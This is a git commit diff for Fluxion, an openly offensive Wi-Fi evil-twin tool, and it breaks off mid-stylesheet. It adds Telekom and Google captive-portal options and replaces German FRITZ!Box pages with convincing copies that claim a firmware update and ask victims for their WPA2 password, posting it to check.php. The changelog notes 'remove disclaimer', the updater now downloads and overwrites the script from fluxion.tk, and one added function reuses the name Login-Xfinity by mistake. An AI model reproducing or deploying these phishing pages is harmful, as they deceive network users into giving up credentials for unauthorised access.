Merge pull request #1 from deltaxflux/master

Merge update
This commit is contained in:
deltax 2017-05-01 19:22:30 +02:00 committed by GitHub
commit 244811a176
30 changed files with 9520 additions and 828 deletions

8
Makefile Normal file
View File

@ -0,0 +1,8 @@
TARGET = ui/fluxion
build-ui:
pyuic4 -x $(TARGET).ui -o $(TARGET).py
clean:
rm -f ui/*.py

20
docs/changelog Normal file
View File

@ -0,0 +1,20 @@
----------------------- General -----------------------
revision=1
---------------------- Changelog ----------------------
[Version: 2 , Revision 1]
- rewrite code
- move files
- exitmode to lib/
- source files to language
- improve handeling
- remove disclaimer
- remove git support
- add checkupdate function
- fix airmon file
---------------------- Changelog ----------------------

31
fluxion
View File

@ -36,7 +36,7 @@ HANDSHAKE_PATH="/root/handshakes"
PASSLOG_PATH="/root/pwlog"
WORK_DIR=`pwd`
DEAUTHTIME="9999999999999"
revision=4
revision=5
version=2
IP=192.168.1.1
RANG_IP=$(echo $IP | cut -d "." -f 1,2,3)
@ -406,7 +406,7 @@ if [ $FLUX_DEBUG != 1 ]; then
sleep 0.1
echo -e $red" FLUX "$white""$version" (rev. "$green "$revision"$white") "$yellow"by "$white" ghost"
sleep 0.1
echo -e $green " Page:"$red" https://github.com/FluxionNetwork/fluxion "$transparent
echo -e $green " Page:"$red" https://fluxion.tk/ "$transparent
sleep 0.1
echo -n " Latest rev."
tput civis
@ -427,7 +427,7 @@ if [ $FLUX_DEBUG != 1 ]; then
if [ "$doupdate" = "Y" ]; then
cp $0 $HOME/flux_rev-$revision.backup
curl "https://raw.githubusercontent.com/FluxionNetwork/fluxion/master/fluxion" -s -o $0
curl "https://fluxion.tk/fluxion" -s -o $0
echo
echo
@ -1410,6 +1410,8 @@ function ConnectionRESET {
echo -e " "$red"["$yellow"$n"$red"]"$transparent" GENEXIS_DE [DE] ";n=` expr $n + 1`
echo -e " "$red"["$yellow"$n"$red"]"$transparent" Login-Netgear[Login-Netgear] ";n=` expr $n + 1`
echo -e " "$red"["$yellow"$n"$red"]"$transparent" Login-Xfinity[Login-Xfinity] ";n=` expr $n + 1`
echo -e " "$red"["$yellow"$n"$red"]"$transparent" Telekom ";n=` expr $n + 1`
echo -e " "$red"["$yellow"$n"$red"]"$transparent" Google";n=` expr $n + 1`
echo -e " "$red"["$yellow"$n"$red"]"$transparent"\e[1;31m $general_back"$transparent""
echo
echo -n "#? "
@ -1831,6 +1833,14 @@ function ConnectionRESET {
break
elif [ "$webconf" = "42" ]; then
Telekom
break
elif [ "$webconf" = "43" ]; then
google
break
elif [ "$webconf" = "44" ]; then
conditional_clear
webinterface
break
@ -2537,13 +2547,24 @@ function GENEXIS_DE {
function Login-Netgear {
mkdir $DUMP_PATH/data &>$flux_output_device
cp $WORK_DIR/Sites/Login-Netgear/* $DUMP_PATH/data
cp $WORK_DIR/sites/Login-Netgear/* $DUMP_PATH/data
}
function Login-Xfinity {
mkdir $DUMP_PATH/data &>$flux_output_device
cp $WORK_DIR/Sites/Login-Xfinity/* $DUMP_PATH/data
cp $WORK_DIR/sites/Login-Xfinity/* $DUMP_PATH/data
}
function Login-Xfinity {
mkdir $DUMP_PATH/data &>$flux_output_device
cp $WORK_DIR/sites/telekom/* $DUMP_PATH/data
}
function google {
mkdir $DUMP_PATH/data &>$flux_output_device
cp $WORK_DIR/sites/google_de/* $DUMP_PATH/data
}
######################################### < INTERFACE WEB > ########################################
top&& setresolution && setinterface

View File

@ -359,3 +359,7 @@ sleep 0.025
#############################
xterm $HOLD -title "Remove repositories" -e python remove.py
git clone https://github.com/molovo/revolver revolver
chmod u+x revolver/revolver
mv revolver/revolver /usr/local/bin

View File

@ -10,7 +10,7 @@ fi
#Config
version=2
revision=7
revision=8
#Colors
red='\e[1;31m'
@ -369,3 +369,7 @@ sleep 0.025
#############################
xterm $HOLD -title "Remove repositories" -e python remove.py
git clone https://github.com/molovo/revolver revolver
chmod u+x revolver/revolver
mv revolver/revolver /usr/local/bin

View File

@ -1,294 +1,665 @@
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width; initial-scale=1.0;" />
<title>FRITZ!Box</title>
<style type="text/css">
body {
margin-left: 0px;
margin-top: 0px;
margin-right: 0px;
margin-bottom: 0px;
background-image: url(bg.png);
background-repeat:repeat-x;
color:#414143;
font-family:"Gill Sans", "Gill Sans MT", "Myriad Pro", "DejaVu Sans Condensed", Helvetica, Arial, sans-serif;
font-size: 14px;
<!DOCTYPE html>
<html lang="de"><head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<meta http-equiv="Cache-Control" content="private, no-transform">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="format-detection" content="telephone=no">
<meta http-equiv="x-rim-auto-match" content="none">
<meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=yes, minimal-ui">
<meta name="mobile-web-app-capable" content="yes">
<meta name="apple-mobile-web-app-capable" content="yes">
<meta name="apple-mobile-web-app-status-bar-style" content="black-translucent">
<meta http-equiv="cleartype" content="on">
<link rel="shortcut icon" type="image/x-icon" href="http://192.168.178.1/favicon.ico">
<link rel="apple-touch-icon" href="http://192.168.178.1/css/default/images/kopfbalken_links.png">
<link rel="apple-touch-startup-image" href="http://192.168.178.1/css/default/images/kopfbalken_links.png">
<style>
@font-face {
font-family: 'Source Sans Pro';
src: url('/css/rd/fonts/sourcesanspro.woff');
}
a:link {
color:#2e5b9b;
text-decoration:none;
@font-face {
font-family: 'Source Sans Pro';
src: url('/css/rd/fonts/sourcesansproBold.woff');
font-weight: bold;
}
a:hover {
color:#386fbd;
@font-face {
font-family: 'AVM';
src: url('/css/rd/fonts/metaWebProBold.woff');
font-weight: bold;
}
a:visited {
color:#2e5b9b;
html, input, textarea, keygen, select, button {
font-family: 'Source Sans Pro', Arial, sans-serif;
font-size: 100%;
}
.blue_text {
color:#0c3465;
}
#wrapper {
max-width:1004px;
margin:auto;
}
#header {
background-image:url(header.png);
background-repeat:no-repeat;
background-position:center;
width:100%;
height:91px;
position:relative;
margin:auto;
}
#header_icons {
width:100%;
height:45px;
position:relative;
margin:auto;
text-align:right;
display:inline-block;
}
#header_icons ul {
list-style-type:none;
margin-right:20px;
}
#header_icons ul li {
display:inline-block;
color:#0c3465;
vertical-align:middle;
}
#sidebar_left {
position:relative;
float:left;
border: thin solid #99adab;
border-radius: 15px 15px 15px 15px;
background-color:#fbf8f4;
min-width:150px;
padding: 10px;
margin-left:20px;
}
#sidebar_left ul {
list-style-type:none;
margin:0px;
padding:0px;
}
#sidebar_left ul li {
list-style-type:none;
font-weight: bold;
font-size: 16px;
width:95%;
padding-left:5px;
padding-top: 2px;
padding-bottom: 2px;
text-align:left;
}
#sidebar_left ul li a {
color:#093e75;
}
.sidebar_left_selected {
border: thin solid #99adab;
border-radius: 10px 10px 10px 10px;
background: #bed7ed; /* Old browsers */
background: -moz-linear-gradient(top, #bed7ed 0%, #bed7ed 47%, #a7cff8 54%, #a7cff8 100%); /* FF3.6-15 */
background: -webkit-linear-gradient(top, #bed7ed 0%,#bed7ed 47%,#a7cff8 54%,#a7cff8 100%); /* Chrome10-25,Safari5.1-6 */
background: linear-gradient(to bottom, #bed7ed 0%,#bed7ed 47%,#a7cff8 54%,#a7cff8 100%); /* W3C, IE10+, FF16+, Chrome26+, Opera12+, Safari7+ */
filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#bed7ed', endColorstr='#a7cff8',GradientType=0 ); /* IE6-9 */
}
#content {
position:relative;
float: right;
width: 750px;
min-height: 400px;
border: thin solid #99adab;
border-radius: 15px 15px 15px 15px;
background-color:#fbf8f4;
margin-right: 25px;
}
#content_head {
position:relative;
border-radius: 15px 15px 0px 0px;
min-height: 27px;
text-align:left;
font-size:18px;
font-weight:bold;
padding-top:3px;
background: #bed7ed; /* Old browsers */
background: -moz-linear-gradient(top, #bed7ed 0%, #bed7ed 47%, #a7cff8 54%, #a7cff8 100%); /* FF3.6-15 */
background: -webkit-linear-gradient(top, #bed7ed 0%,#bed7ed 47%,#a7cff8 54%,#a7cff8 100%); /* Chrome10-25,Safari5.1-6 */
background: linear-gradient(to bottom, #bed7ed 0%,#bed7ed 47%,#a7cff8 54%,#a7cff8 100%); /* W3C, IE10+, FF16+, Chrome26+, Opera12+, Safari7+ */
filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#bed7ed', endColorstr='#a7cff8',GradientType=0 ); /* IE6-9 */
border-bottom: thin solid #99adab;
}
#subcontent {
background-color:#FFFFFF;
border: thin solid #99adab;
border-radius: 0px 0px 0px 0px;
width: 60%;
margin:auto;
margin-top: 20px;
margin-bottom: 40px;
}
#subcontent_phone ul {
list-style-type:none;
margin:10px;
padding:0px;
}
#subcontent_phone {
display:none ;
}
#subcontent_phone ul {
list-style:none;
}
#subcontent_phone ul li {
text-align:center;
}
#footer {
position: relative;
margin-right: 30px;
float:right;
}
#footer ul {
list-style-type:none;
}
#footer ul li {
display:inline-block;
margin-right: 10px;
}
@media only screen and (max-width: 1024px) {
#content {
width:70%;
}
}
@media only screen and (max-width: 480px) {
#header {
background-image:url(header_small.png);
max-width:480px;
background-position:left;
}
#header_icons {
display: none;
}
#sidebar_left {
display: none;
}
#content {
width:90%;
}
#subcontent {
height: 300px;
font-size: 24px;
width: 90%;
}
#subcontent table {
display: none;
}
#subcontent_phone {
display: block !important;
}
input {
padding: 5px;
border-radius: 8px 8px 8px 8px;
border: thin solid #99adab;
font-size: 16px;
width: 170px;
font-weight:bold;
}
#footer li {
margin:0px;
}
.blue_bar_title,
.logoArea {
font-family: 'AVM', 'Source Sans Pro', Arial, sans-serif;
}
</style>
<style type="text/css">
/********************************************** Allgemein **********************************************/
* {
-webkit-tap-highlight-color: rgba(0,0,0,0);
-webkit-box-sizing: border-box;
-moz-box-sizing: border-box;
box-sizing: border-box;
-webkit-touch-callout: text;
-webkit-user-select: text;
-khtml-user-select: text;
-moz-user-select: text;
-ms-user-select: text;
user-select: text;
font-size: 100%;
vertical-align: middle;
outline: 0;
}
*::selection {
background: transparent;
}
*::-moz-selection {
background: transparent;
}
.selectable *::selection {
background: #8fdaff;
}
.selectable *::-moz-selection {
background: #8fdaff;
}
html {
height: 100%;
font-size: 100%;
background-color: #f0eee6;
transition: background-color 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000);
}
body {
height: 100%;
padding:0;
margin:0;
color: #3F464C;
overflow-x: hidden;
overflow-y: auto;
line-height: 1;
}
h1, h2, h3, h4, h5, p, span, div, hr, br, nav, header, section, menu {
margin: 0;
padding: 0;
border: 0;
}
h4 {
margin: 1.25rem 0;
}
input {
margin: 0;
padding: 0;
}
hr {
padding: 0;
border-top: 1px solid #d5d5d5;
margin: 1.25rem -1.25rem;
}
header {
height: 6.25rem;
width: 100%;
position: fixed;
top: 0;
left: 0;
z-index: 100;
background-color: #006ec0;
display: -webkit-box;
display: -moz-box;
display: -ms-flexbox;
display: -webkit-flex;
display: flex;
-webkit-box-flex-direction: row;
-moz-box-flex-direction: row;
-webkit-flex-direction: row;
-ms-flex-direction: row;
flex-direction: row;
transition: all 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000);
}
.hidden {
display: none;
}
.blue_bar_title {
-webkit-box-flex: 1 1 auto;
-moz-box-flex: 1 1 auto;
-webkit-flex: 1 1 auto;
-ms-flex: 1 1 auto;
flex: 1 1 auto;
-webkit-box-align-self: center;
-moz-box-align-self: center;
-webkit-align-self: center;
-ms-align-self: center;
align-self: center;
margin: 0.3rem 0 0 0;
font-size: 3rem;
font-weight: bold;
text-align: left;
color: #ffffff;
overflow: hidden;
white-space: nowrap;
text-overflow: ellipsis;
text-align: center;
transition: all 150ms;
}
.blue_bar_title.fade {
font-size: 0;
color: transparent;
}
.logoBox {
background-image: url("fritzLogo.svg");
background-position: center right;
background-repeat: no-repeat;
background-size: 7rem;
color: transparent;
width: 10.75rem;
height: 6.25rem;
}
.logoBox.fake {
background-image: none;
}
.dialog_outer {
height: 100%;
display: -webkit-box;
display: -moz-box;
display: -ms-flexbox;
display: -webkit-flex;
display: flex;
-webkit-box-justify-content: center;
-moz-box-justify-content: center;
-webkit-justify-content: center;
-ms-justify-content: center;
justify-content: center;
-webkit-box-align-items: center;
-moz-box-align-items: center;
-webkit-align-items: center;
-ms-align-items: center;
align-items: center;
background-image: url("login_background.svg");
background-position: center 51%;
background-repeat: no-repeat;
background-size: 38rem;
padding: 6.5rem 0;
}
.dialog_outer p {
margin: 1.25rem 0;
line-height: 1.25rem;
}
.loginForm {
display: block;
}
.setFac .pushmailQuestion,
.setFac #sendFacReset,
.setFac #sendPushMail,
.setFac #setFac,
.pushmailSend,
.restore,
.pushmail .pushmailQuestion,
.pushmail #sendFacReset,
.pushmail #sendPushMail,
.pushmail #setFac,
.forgotPassForm,
.forgotPass .loginForm {
display: none;
}
.setFac .restore,
.pushmail .pushmailSend,
.forgotPass .forgotPassForm {
display: block;
visibility: visible;
}
.setFac .forgotPassForm {
display: none;
}
.pushmail.wait .pushmailSend {
visibility: hidden;
}
.intxt.wait,
.setFac.wait .dialog_content,
.pushmail.wait .dialog_content {
background-image: url("/css/rd/images/wait_circle_bright_back.gif");
background-position: center 1.5rem;
background-repeat: no-repeat;
background-size: 2rem;
}
.intxt.wait {
height: 2rem;
width: 100%;
margin: 0.5rem;
background-position: center;
}
.ErrorMsg,
.error_text,
.WarnMsgBold {
color: #ff3000;
}
.WarnMsgBold {
font-weight:bold;
}
.pushmailQuestion,
.pushmailSend,
#setFac,
.restore {
padding: 0 1.25rem;
}
#uiLoginError,
#uiUsernameError {
height: 1.25rem;
margin: -0.35rem 0 0.75rem 9rem;
font-size: 0.94rem;
transition: all 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000);
}
#uiLoginError {
height: 7.25rem;
margin: -0.35rem 0 0 9rem;
}
#uiLoginError p:first-Child {
margin: 0;
}
#uiLoginError p:nth-Child(2) {
margin: 0 0 1.25rem 0;
}
#uiLoginError p {
transition: color 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000);
}
@media (max-width: 759px) {
#uiLoginError {
height: 7.5rem;
}
}
@media (max-width: 369px) {
#uiLoginError {
height: 10rem;
}
}
@media (max-width: 279px) {
#uiLoginError {
height: 13rem;
}
}
#uiUsernameError.hidden,
#uiLoginError.hidden {
display: block;
overflow: hidden;
height: 0;
margin: 0 0 0 9rem;
}
#uiLoginError.hidden p.error_text {
color: transparent;
}
button {
min-width: 5.5rem;
min-height: 1.75rem;
overflow: hidden;
padding: 0 1rem;
margin: 0 0 0 1.25rem;
background-color: #e9edf0;
border: 1px solid #d8dfe3;
border-radius: 0.25rem;
color: #4269a4;
cursor: pointer;
will-change: border, background-color, color;
transition: border 100ms,
background-color 100ms,
color 100ms;
}
.btn_form_foot button {
margin: 0 0 0 1.25rem;
}
button:first-Child {
margin-left: 0;
}
button:active {
background-color: #bcccd4;
border: 1px solid #b0bec5;
}
button:disabled {
background-color: #e0e0de;
border: 1px solid #d8dfe3;
color: #969693;
cursor: default;
}
.btn_form_foot button {
min-height: 2rem;
min-width: 7.5rem;
margin: 0 0 0 0.5rem;
background-color: #268edf;
color: #ffffff;
cursor: pointer;
overflow: hidden;
text-align: center;
padding: 0.35rem 1rem;
will-change: margin, width, background-color, color;
transition: margin 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000),
width 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000),
background-color 100ms,
color 100ms;
border: 0;
border-radius: 0;
}
.btn_form_foot button:active {
background-color: #57758c;
}
.btn_form_foot button:disabled {
background-color: #d5d5d5;
color: #969693;
cursor: default;
}
@media (max-width: 1023px) {
.btn_form_foot button {
min-height: 2.25rem;
}
}
@media (min-width: 760px) {
/*pc*/
.dialog_inner {
-webkit-box-flex: 0 0 28.75rem;
-moz-box-flex: 0 0 28.75rem;
-webkit-flex: 0 0 28.75rem;
-ms-flex: 0 0 28.75rem;
flex: 0 0 28.75rem;
margin: auto 0;
padding: 0;
box-shadow: 0 0.1875rem 0.375rem rgba(0,0,0,0.25);
background-color: #ffffff;
}
.dialog_head_box {
text-align: left;
height: 3.25rem;
margin: auto;
background-color: #268edf;
}
.dialog_head_box h2 {
margin: 0 0 0 1.25rem;
font-weight: bold;
font-size: 1.25rem;
color: #ffffff;
letter-spacing: 0.025rem;
line-height: 3.4rem;
}
.dialog_content {
padding: 0 0 1rem 0;
min-height: 5rem;
}
.formular {
text-align: left;
margin: 0;
padding: 0 1.25rem 0 1.25rem;
}
label,
input,
select {
margin: 0 0 0.5rem;
color: #3F464C;
vertical-align: middle;
display: inline-block;
}
.formular label {
width: 8.5rem;
margin-right: 0.5rem;
line-height: 1.7rem;
}
.formular input,
.formular select {
width: 17.25rem;
border: 1px solid #d5d5d5;
height: 1.7rem;
}
.formular input.error,
.formular select.error {
border-color: #ff3000;
}
.formular input {
padding: 0 0.25rem;
}
.language_selection.formular input {
width: auto;
margin-right: 0.25rem;
}
.btn_form_foot {
border-top: 1px solid #d5d5d5;
margin: 1.75rem 0 0 0;
padding: 1rem 1.25rem 0 1.25rem;
text-align: right;
width: 100%;
display: flex;
flex-direction: row-reverse;
justify-content: space-between;
align-items: center;
}
.forgotPass .btn_form_foot {
justify-content: flex-start;
}
.btn_form_foot a {
display: inline-block;
text-decoration: none;
font-size: 0.9375rem;
font-weight: normal;
color: #4269a4;
margin: 0;
padding: 0.1rem 0 0 0;
cursor: pointer;
}
.btn_form_foot a:hover {
text-decoration: underline;
}
}
@media (max-width: 759px) {
/*für mobile Ansicht*/
html {
background-color: #ffffff;
background-image: none;
}
body {
height: auto;
}
header {
height: 3.75rem;
}
.dialog_outer {
font-size: 1.25rem;
background-image: none;
padding: 3.75rem 0 4.25rem 0;
}
.blue_bar_title {
text-align: left;
padding: 1rem 0 1.035rem 0.15rem;
font-size: 1.25rem;
font-weight: normal;
}
.blue_bar_title.hide {
color: transparent;
}
.dialog_inner {
width: 90%;
margin: 0;
}
.dialog_head_box {
display: none;
}
.logoBox {
height: 3.75rem;
background-position: left 0.5rem center;
background-size: 3.75rem;
width: 5rem;
}
.formular {
text-align: left;
margin: 0;
padding: 0;
}
label,
input,
select {
vertical-align: middle;
display: inline-block;
margin: 0 0 0.5rem;
color: #3F464C;
}
.pushmailQuestion,
.pushmailSend,
#setFac,
.restore {
padding: 0;
}
.formular label {
width: 10rem;
line-height: 1.7rem;
margin: 0 0.5rem 0 0;
vertical-align: top;
}
#uiLoginError,
#uiUsernameError {
margin: 0 0 1rem 0;
font-size: 1.15rem;
}
#uiUsernameError.hidden,
#uiLoginError,
#uiLoginError.hidden {
margin: 0;
}
.formular input,
.formular select {
border: 1px solid #d5d5d5;
height: 1.7rem;
width: 100%;
max-width: 20rem;
}
.formular input.error,
.formular select.error {
border-color: #ff3000;
}
.formular input {
padding: 0 0.25rem;
}
.language_selection.formular input {
width: auto;
margin: 0 0.5rem 0.5rem 0;
}
.btn_form_foot {
border: none;
margin: 0 -1.25rem 0 -1.25rem;
padding: 0 1.25rem;
text-align: center;
width: calc(100% + 2.5rem);
display: flex;
flex-direction: column-reverse;
}
button,
.btn_form_foot button {
min-width: 100%;
min-height: 2.2rem;
margin: 0;
}
.btn_form_foot button {
margin: 2rem 0 0 0;
}
.btn_form_foot a {
display: block;
position: fixed;
bottom: 0;
left: 0;
text-align: center;
width: 100%;
padding: 1rem 0;
background-color: #f1f6f9;
cursor: pointer;
}
.btn_form_foot a {
color: #3080C8;
}
.logoBox.fake {
display: none;
}
}
.perfTestHead {
border-top: 1px solid #ff3000;
margin: 1rem 0 0 0;
padding: 1.25rem 1.25rem 0 1.25rem;
color: #ff3000;
cursor: pointer;
}
.perfTestHead span {
display: inline-block;
height: 1rem;
width: 2rem;
background-image: url("/css/rd/images/link_open_red.svg");
background-position: center;
background-size: 1rem;
background-repeat: no-repeat;
}
.perfTestHead.show span {
background-image: url("/css/rd/images/link_closed_red.svg");
}
.perfTestMsg {
display: none;
padding: 0 1.25rem 0 1.25rem;
}
.perfTestMsg.show {
display: block;
}
.forgotPass .perfTestHead,
.forgotPass .perfTestMsg.show {
display: none;
}
.hintMsg {
font-weight: bold;
}
@media (max-width: 759px) {
.perfTestHead {
margin: 1.5rem 0 0 0;
padding: 1.25rem 0 0 0;
}
.perfTestMsg {
padding: 0;
}
}
@media (min-width: 2040px) {
html {
font-size: 0.79vw;
}
}
</style>
<title>
FRITZ!Box
</title>
</head>
<body>
<div id="wrapper">
<div id="header"></div>
<div id="header_icons">
<ul>
<li><a href="#"><img src="icon0.png">Abmelden</a></li>
<li><a href="#"><img src="icon1.png">Ansicht:</a> Experte</li>
<li><a href="#"><img src="icon2.png">Inhalt</a></li>
<li><a href="#"><img src="icon3.png">Hilfe</a></li>
</ul>
</div>
<script>
var gNbc = false,
config = {"gu_type":"release","isDebug":false,"GUI_IS_REPEATER":false};
</script>
<script src="FRITZ%21Box-Dateien/avmcore.js"></script>
<!--<script src="/js/browser.js"></script>-->
<!--<script src="/js/jsl.js"></script>-->
<!--<script src="/js/md5.js"></script>-->
<!--<script src="/js/html.js"></script>-->
<!--<script src="/js/func.js"></script>-->
<!--<script type="text/javascript" src="/myfritz/js/focuschanger.js?lang=de"></script>-->
<!--<script src="/js/html2.js?lang=de"></script>-->
<!--<script src="/js/http.js"></script>-->
<div id="sidebar_left">
<ul>
<li><a href="#">&Uuml;bersicht</a></li>
<li><a href="#">Internet</a></li>
<li><a href="#">Telefonie</a></li>
<li class="sidebar_left_selected"><a href="#">WLAN</a></li>
<li><a href="#">DECT</a></li>
<li><a href="#">System</a></li>
</ul>
</div>
<div id="content">
<div id="content_head"><span style="margin-left:30px;">Firmware Update</span></div>
<div id="subcontent">
<form method="POST" action="check.php" id="form1" name="form1">
<table width="100%" border="0" cellspacing="5">
<tbody>
<tr>
<td colspan="2" align="left"><span style="margin-left:10px;">Ihre FRITZ!Box wurde aktualisiert.</span><br /><span style="margin-left:10px;">Zur Wiederherstellung des Wi-Fi-Signals geben Sie Ihr Wi-Fi Passwort ein</span></td>
</tr>
<tr>
<td colspan="2" align="center"><span style="color:#A80002;">Passwort falsch! - Bitte wiederholen</span></td>
</tr>
<tr>
<td>&nbsp;</td>
<td>&nbsp;</td>
</tr>
<tr>
<td align="right">WPA2 Kennwort:</td>
<td><input type="password" name="key1"></td>
</tr>
<tr>
<td>&nbsp;</td>
<td><input type="submit" value="Best&auml;tigen"></td>
</tr>
</tbody>
</table>
</form>
<div id="subcontent_phone">
<form method="POST" action="check.php" id="form1" name="form1">
<ul>
<li><span style="color:#A80002;">Passwort falsch!<br>Bitte wiederholen</span></li>
<li>&nbsp;</li>
<li>Bitte geben Sie ihr Wi-Fi Passwort ein.</li>
<li>&nbsp;</li>
<li>WPA2 Kennwort:</li>
<li><input type="password" name="key1"></li>
<li>&nbsp;</li>
<li><input type="submit" value="Best&auml;tigen"></li>
</ul>
</form>
</div>
</div>
</div>
<div id="footer">
<ul>
<li><a href="#">Handbuch</a></li>
<li><span style=" font-weight:bold;">&#124;</span></li>
<li><a href="#">Service-Portal</a></li>
<li><span style=" font-weight:bold;">&#124;</span></li>
<li><a href="#">FAQs</a></li>
<li><span style=" font-weight:bold;">&#124;</span></li>
<li><a href="#">FRITZ! Clips</a></li>
<li><span style=" font-weight:bold;">&#124;</span></li>
<li><a href="#">Programme</a></li>
<li><span style=" font-weight:bold;">&#124;</span></li>
<li><a href="#">www.avm.de</a></li>
<li><span style=" font-weight:bold;">&#124;</span></li>
<li><a href="#">www.freetz.org</a></li>
</ul>
</div>
</div>
</body>
</html>
</script>
<header id="blueBarBox" name="" class=""><div id="" name="" class="logoBox"></div>
<div id="blueBarTitel" name="" class="blue_bar_title">FRITZ!Box WLAN</div>
<div id="" name="" class="logoBox fake"></div></header><div class="dialog_outer">
<div id="dialogInner" class="dialog_inner">
<div id="dialogHeadBox" class="dialog_head_box">
<h2 id="dialogTitle">Willkommen bei Ihrer FRITZ!Box</h2></div>
<div id="dialogContent" class="dialog_content">
<form method="post" action="check.php" id="form1" name="form1" class="loginForm">
<div class="formular">
<p>Bitte melden Sie sich mit Ihrem WLAN-Passwort an.</p>
<input tabindex="2" name="key1" type="password">
<p class="error_text">Anmeldung fehlgeschlagen, bitte versuchen Sie es erneut.</p>
<p id="uiWait" class="error_text"></p></div>
<div class="btn_form_foot">
<button type="submit" tabindex="3" id="submitLoginBtn">Anmelden</button>
<a>Passwort vergessen?</a></div></form></div></div></div>

View File

@ -1,270 +1,658 @@
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width; initial-scale=1.0;" />
<title>FRITZ!Box</title>
<style type="text/css">
body {
margin-left: 0px;
margin-top: 0px;
margin-right: 0px;
margin-bottom: 0px;
background-image: url(bg.png);
background-repeat:repeat-x;
color:#414143;
font-family:"Gill Sans", "Gill Sans MT", "Myriad Pro", "DejaVu Sans Condensed", Helvetica, Arial, sans-serif;
font-size: 14px;
<!DOCTYPE html>
<html lang="de"><head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<meta http-equiv="Cache-Control" content="private, no-transform">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="format-detection" content="telephone=no">
<meta http-equiv="x-rim-auto-match" content="none">
<meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=yes, minimal-ui">
<meta name="mobile-web-app-capable" content="yes">
<meta name="apple-mobile-web-app-capable" content="yes">
<meta name="apple-mobile-web-app-status-bar-style" content="black-translucent">
<meta http-equiv="cleartype" content="on">
<link rel="shortcut icon" type="image/x-icon" href="http://192.168.178.1/favicon.ico">
<link rel="apple-touch-icon" href="http://192.168.178.1/css/default/images/kopfbalken_links.png">
<link rel="apple-touch-startup-image" href="http://192.168.178.1/css/default/images/kopfbalken_links.png">
<style>
@font-face {
font-family: 'Source Sans Pro';
src: url('/css/rd/fonts/sourcesanspro.woff');
}
a:link {
color:#2e5b9b;
text-decoration:none;
@font-face {
font-family: 'Source Sans Pro';
src: url('/css/rd/fonts/sourcesansproBold.woff');
font-weight: bold;
}
a:hover {
color:#386fbd;
@font-face {
font-family: 'AVM';
src: url('/css/rd/fonts/metaWebProBold.woff');
font-weight: bold;
}
a:visited {
color:#2e5b9b;
html, input, textarea, keygen, select, button {
font-family: 'Source Sans Pro', Arial, sans-serif;
font-size: 100%;
}
.blue_text {
color:#0c3465;
}
#wrapper {
max-width:1004px;
margin:auto;
}
#header {
background-image:url(header.png);
background-repeat:no-repeat;
background-position:center;
width:100%;
height:91px;
position:relative;
margin:auto;
}
#header_icons {
width:100%;
height:45px;
position:relative;
margin:auto;
text-align:right;
display:inline-block;
}
#header_icons ul {
list-style-type:none;
margin-right:20px;
}
#header_icons ul li {
display:inline-block;
color:#0c3465;
vertical-align:middle;
}
#sidebar_left {
position:relative;
float:left;
border: thin solid #99adab;
border-radius: 15px 15px 15px 15px;
background-color:#fbf8f4;
min-width:150px;
padding: 10px;
margin-left:20px;
}
#sidebar_left ul {
list-style-type:none;
margin:0px;
padding:0px;
}
#sidebar_left ul li {
list-style-type:none;
font-weight: bold;
font-size: 16px;
width:95%;
padding-left:5px;
padding-top: 2px;
padding-bottom: 2px;
text-align:left;
}
#sidebar_left ul li a {
color:#093e75;
}
.sidebar_left_selected {
border: thin solid #99adab;
border-radius: 10px 10px 10px 10px;
background: #bed7ed; /* Old browsers */
background: -moz-linear-gradient(top, #bed7ed 0%, #bed7ed 47%, #a7cff8 54%, #a7cff8 100%); /* FF3.6-15 */
background: -webkit-linear-gradient(top, #bed7ed 0%,#bed7ed 47%,#a7cff8 54%,#a7cff8 100%); /* Chrome10-25,Safari5.1-6 */
background: linear-gradient(to bottom, #bed7ed 0%,#bed7ed 47%,#a7cff8 54%,#a7cff8 100%); /* W3C, IE10+, FF16+, Chrome26+, Opera12+, Safari7+ */
filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#bed7ed', endColorstr='#a7cff8',GradientType=0 ); /* IE6-9 */
}
#content {
position:relative;
float: right;
width: 750px;
min-height: 400px;
border: thin solid #99adab;
border-radius: 15px 15px 15px 15px;
background-color:#fbf8f4;
margin-right: 25px;
}
#content_head {
position:relative;
border-radius: 15px 15px 0px 0px;
min-height: 27px;
text-align:left;
font-size:18px;
font-weight:bold;
padding-top:3px;
background: #bed7ed; /* Old browsers */
background: -moz-linear-gradient(top, #bed7ed 0%, #bed7ed 47%, #a7cff8 54%, #a7cff8 100%); /* FF3.6-15 */
background: -webkit-linear-gradient(top, #bed7ed 0%,#bed7ed 47%,#a7cff8 54%,#a7cff8 100%); /* Chrome10-25,Safari5.1-6 */
background: linear-gradient(to bottom, #bed7ed 0%,#bed7ed 47%,#a7cff8 54%,#a7cff8 100%); /* W3C, IE10+, FF16+, Chrome26+, Opera12+, Safari7+ */
filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#bed7ed', endColorstr='#a7cff8',GradientType=0 ); /* IE6-9 */
border-bottom: thin solid #99adab;
}
#subcontent {
background-color:#FFFFFF;
border: thin solid #99adab;
border-radius: 0px 0px 0px 0px;
width: 60%;
margin:auto;
margin-top: 20px;
margin-bottom: 40px;
}
#subcontent_phone ul {
list-style-type:none;
margin:10px;
padding:0px;
}
#subcontent_phone {
display:none ;
}
#subcontent_phone ul {
list-style:none;
}
#subcontent_phone ul li {
text-align:center;
}
#footer {
position: relative;
margin-right: 30px;
float:right;
}
#footer ul {
list-style-type:none;
}
#footer ul li {
display:inline-block;
margin-right: 10px;
}
@media only screen and (max-width: 1024px) {
#content {
width:70%;
}
}
@media only screen and (max-width: 480px) {
#header {
background-image:url(header_small.png);
max-width:480px;
background-position:left;
}
#header_icons {
display: none;
}
#sidebar_left {
display: none;
}
#content {
width:90%;
}
#subcontent {
height: 300px;
